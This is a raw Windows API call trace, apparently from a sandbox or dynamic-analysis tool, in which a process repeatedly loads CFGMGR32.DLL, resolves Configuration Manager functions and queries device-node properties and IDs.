[0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.797] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.798] malloc (_Size=0x18) returned 0x20abc281e40 [0235.798] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x27, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0235.798] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x484f4883, dwHighDateTime=0x1d9eb0c)) [0235.799] SetEvent (hEvent=0x248) returned 1 [0235.805] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.805] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.805] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.806] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.807] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.809] malloc (_Size=0x18) returned 0x20abc2820e0 [0235.809] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x27, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0235.809] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x48526978, dwHighDateTime=0x1d9eb0c)) [0235.810] SetEvent (hEvent=0x248) returned 1 [0235.814] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.814] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.815] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.816] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.819] malloc (_Size=0x18) returned 0x20abc281ce0 [0235.820] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0235.820] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x48541202, dwHighDateTime=0x1d9eb0c)) [0235.820] SetEvent (hEvent=0x248) returned 1 [0235.828] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.828] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.832] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.832] malloc (_Size=0x18) returned 0x20abc281bc0 [0235.832] CM_Get_Device_IDA (in: dnDevInst=0x28, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\RADIO\\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2}") returned 0x0 [0235.832] malloc (_Size=0x48) returned 0x20abc27cf80 [0235.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x48541202, dwHighDateTime=0x1d9eb0c)) [0235.833] SetEvent (hEvent=0x248) returned 1 [0235.838] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.838] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.843] malloc (_Size=0x18) returned 0x20abc281e60 [0235.843] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0235.843] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48567568, dwHighDateTime=0x1d9eb0c)) [0235.844] SetEvent (hEvent=0x248) returned 1 [0235.932] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.933] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.937] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.937] malloc (_Size=0x18) returned 0x20abc281ec0 [0235.937] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0235.938] malloc (_Size=0x38) returned 0x20abc280bd0 [0235.938] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280bd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280bd0, pulLength=0x2dc22fd3f8) returned 0x0 [0235.939] free (_Block=0x20abc280bd0) [0235.939] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.939] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4864beca, dwHighDateTime=0x1d9eb0c)) [0235.939] SetEvent (hEvent=0x248) returned 1 [0235.947] malloc (_Size=0x18) returned 0x20abc281ee0 [0235.947] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0235.948] free (_Block=0x20abc281ee0) [0235.948] malloc (_Size=0x18) returned 0x20abc281960 [0235.948] SafeArrayPutElement (psa=0x20abbaf20e0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0235.948] free (_Block=0x20abc281960) [0235.948] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0235.948] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0235.948] SafeArrayGetLBound (in: psa=0x20abbaf20e0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0235.948] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0235.948] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0235.949] SafeArrayGetDim (psa=0x20abbaf20e0) returned 0x1 [0235.949] SafeArrayGetUBound (in: psa=0x20abbaf20e0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0235.949] SafeArrayGetElemsize (psa=0x20abbaf20e0) returned 0x8 [0235.949] SafeArrayGetElement (in: psa=0x20abbaf20e0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0235.950] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93690, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.951] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93698, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0235.952] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0235.953] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0235.954] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.954] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.958] malloc (_Size=0x18) returned 0x20abc281c80 [0235.958] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.961] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x486983a3, dwHighDateTime=0x1d9eb0c)) [0235.961] SetEvent (hEvent=0x248) returned 1 [0235.966] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.966] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0235.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0235.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0235.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0235.970] malloc (_Size=0x18) returned 0x20abc2820c0 [0235.970] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0235.970] malloc (_Size=0x48) returned 0x20abc27cb20 [0235.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x486983a3, dwHighDateTime=0x1d9eb0c)) [0235.971] SetEvent (hEvent=0x248) returned 1 [0235.975] malloc (_Size=0xd8) returned 0x20abc284e70 [0235.975] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0235.976] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 